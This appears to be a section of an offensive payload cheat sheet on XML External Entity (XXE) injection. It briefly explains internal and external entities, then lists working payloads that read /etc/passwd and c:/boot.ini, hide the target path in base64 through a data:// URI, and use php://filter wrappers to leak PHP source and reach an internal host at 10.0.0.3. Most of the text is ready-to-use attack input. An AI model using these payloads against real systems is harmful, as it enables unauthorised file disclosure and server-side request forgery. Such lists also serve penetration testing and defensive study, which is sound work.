Detect The Vulnerability

Internal Entity: If an entity is declared within a DTD it is called an internal entity. Syntax: <!ENTITY entity_name "entity_value">

External Entity: If an entity is declared outside a DTD it is called an external entity. Identified by SYSTEM. Syntax: <!ENTITY entity_name SYSTEM "entity_value">

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

It might help to set the Content-Type: application/xml in the request when sending XML payload to the server.

Exploiting XXE to Retrieve Files

Classic XXE

We try to display the content of the file /etc/passwd.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

⚠️ SYSTEM and PUBLIC are almost synonym.

<!ENTITY % xxe PUBLIC "Random Text" "URL">
<!ENTITY xxe PUBLIC "Any TEXT" "URL">

Classic XXE Base64 Encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper Inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>